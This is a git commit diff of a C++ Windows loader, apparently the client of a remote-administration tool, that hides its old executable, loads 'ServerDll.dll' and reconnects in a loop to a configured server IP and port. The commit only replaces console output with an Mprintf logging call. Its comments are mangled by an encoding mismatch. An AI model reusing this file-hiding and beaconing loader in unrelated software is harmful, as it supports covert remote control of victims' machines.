Update libraries and replace zlib with zstd #42

This commit is contained in:
yuanyuanxiang
2025-01-15 18:49:15 +08:00
parent 8ec3e83d31
commit 914eefbb23
29 changed files with 4790 additions and 2057 deletions

View File

@@ -3,6 +3,7 @@
#include <iostream>
#include <corecrt_io.h>
#include "common/commands.h"
#include "StdAfx.h"
// <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ
#define REG_NAME "a_ghost"
@@ -139,25 +140,25 @@ BOOL Run(const char* argv1, int argv2) {
{
if (!DeleteFileA(oldFile.c_str()))
{
std::cerr << "Error deleting file. Error code: " << GetLastError() << std::endl;
Mprintf("Error deleting file. Error code: %d\n", GetLastError());
ok = FALSE;
}
}
if (ok && !MoveFileA(path, oldFile.c_str())) {
std::cerr << "Error removing file. Error code: " << GetLastError() << std::endl;
Mprintf("Error removing file. Error code: %d\n", GetLastError());
ok = FALSE;
}else {
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>
if (SetFileAttributesA(oldFile.c_str(), FILE_ATTRIBUTE_HIDDEN))
{
std::cout << "File created and set to hidden: " << oldFile << std::endl;
Mprintf("File created and set to hidden: %s\n",oldFile.c_str());
}
}
if (ok && !MoveFileA(newFile.c_str(), path)) {
std::cerr << "Error removing file. Error code: " << GetLastError() << std::endl;
Mprintf("Error removing file. Error code: %d\n", GetLastError());
MoveFileA(oldFile.c_str(), path);// recover
}else if (ok){
std::cout << "Using new file: " << newFile << std::endl;
Mprintf("Using new file: %s\n", newFile.c_str());
}
}
HMODULE hDll = LoadLibraryA(path);
@@ -180,7 +181,7 @@ BOOL Run(const char* argv1, int argv2) {
GetPrivateProfileStringA("settings", "localIp", g_ConnectAddress.ServerIP(), ip, _MAX_PATH, path);
port = GetPrivateProfileIntA("settings", "ghost", g_ConnectAddress.ServerPort(), path);
}
printf("[server] %s:%d\n", ip, port);
Mprintf("[server] %s:%d\n", ip, port);
do
{
run(ip, port);
@@ -194,14 +195,14 @@ BOOL Run(const char* argv1, int argv2) {
result = bExit();
}
if (!FreeLibrary(hDll)) {
printf("<EFBFBD>ͷŶ<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"ʧ<EFBFBD><EFBFBD>. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %d\n", GetLastError());
Mprintf("<EFBFBD>ͷŶ<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"ʧ<EFBFBD><EFBFBD>. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %d\n", GetLastError());
}
else {
printf("<EFBFBD>ͷŶ<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"<EFBFBD>ɹ<EFBFBD>!\n");
Mprintf("<EFBFBD>ͷŶ<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"<EFBFBD>ɹ<EFBFBD>!\n");
}
}
else {
printf("<EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"ʧ<EFBFBD><EFBFBD>. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %d\n", GetLastError());
Mprintf("<EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"ʧ<EFBFBD><EFBFBD>. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %d\n", GetLastError());
Sleep(3000);
}
return result;